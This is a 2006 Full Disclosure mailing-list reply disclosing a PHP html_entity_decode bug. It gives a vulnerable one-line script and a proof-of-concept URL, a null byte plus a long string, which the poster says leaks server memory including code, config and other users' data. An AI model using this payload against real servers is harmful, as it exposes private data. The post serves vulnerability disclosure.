Full Disclosure mailing list archives
Re: Critical PHP bug - act ASAP if you are running web with sensitive data
From: Tõnu Samuel <tonu () jes ee>
Date: Tue, 28 Mar 2006 22:58:12 +0300
Stefan Esser wrote:
Nice! I was really nervous already as I got bombed with e-mails and I really did not knew much more than was discovered. Meanwhile I am bit disappointed that we had nearly month such a bug in wild and software distributors like SuSE in my case did not published patches. I think as long enough time passed and I hope distributors maybe need to see it - I publish exploit. Sorry, this was discovered independently and for me it looks like very serious problem.The bug is a binary safety issue in html_entity_decode. A function that is not usually used on user input, because user input is usually not expected in HTML format and then decoded. Even if the function is used on user input it can only leak memory to a potential attacker if the decoded user input is send back to the client. The bug was found in late February by one of the japanese PHP developers and was fixed in CVS one day later. Because the bug is a local memory leak it was not considered top critical and is among the usual bugfixes. PHP 5.1.3-RC1 which was released in the beginning of March already fixes this issue.
Script is: <?php $foobar=html_entity_decode($_GET['foo']); echo $foobar; ?> Running it with url: http://hostname/index.php?foo=%00ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssReturns chunk of memory with length equal of string supplied. But instead of k-s you see data like PHP code, PHP ini file, user data, Web pages served to other users and such.
There are different PHP applications are vulnerable to this exploit but this is not their fault.
Tõnu _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Critical PHP bug - act ASAP if you are running web with sensitive data Tõnu Samuel (Mar 28)
- Re: Critical PHP bug - act ASAP if you are running web with sensitive data Tõnu Samuel (Mar 28)
- Re: Critical PHP bug - act ASAP if you are runningweb with sensitive data FuntKlakow (Mar 28)
- Re: Critical PHP bug - act ASAP if you are running web with sensitive data Stefan Esser (Mar 28)
- Re: Critical PHP bug - act ASAP if you are running web with sensitive data Tõnu Samuel (Mar 28)
- Re: Critical PHP bug - act ASAP if you are running web with sensitive data Jasper Bryant-Greene (Mar 28)
- Re: Critical PHP bug - act ASAP if you are running web with sensitive data Slythers Bro (Mar 28)
- Re: Critical PHP bug - act ASAP if you are running web with sensitive data Slythers Bro (Mar 28)
- Re: Critical PHP bug - act ASAP if you are running web with sensitive data Jasper Bryant-Greene (Mar 28)
- Re: Critical PHP bug - act ASAP if you are running web with sensitive data Tõnu Samuel (Mar 28)
- Re: Critical PHP bug - act ASAP if you are running web with sensitive data Jasper Bryant-Greene (Mar 28)
- Re: PHP html_decode_entity vulnerability Tõnu Samuel (Mar 29)
- Re: Critical PHP bug - act ASAP if you are running web with sensitive data Tõnu Samuel (Mar 28)
- Re: Critical PHP bug - act ASAP if you are running web with sensitive data Tõnu Samuel (Mar 28)
- Re: Critical PHP bug - act ASAP if you are running web with sensitive data Tõnu Samuel (Mar 28)
- Re: Critical PHP bug - act ASAP if you are running web with sensitive data Jeff Rosowski (Mar 29)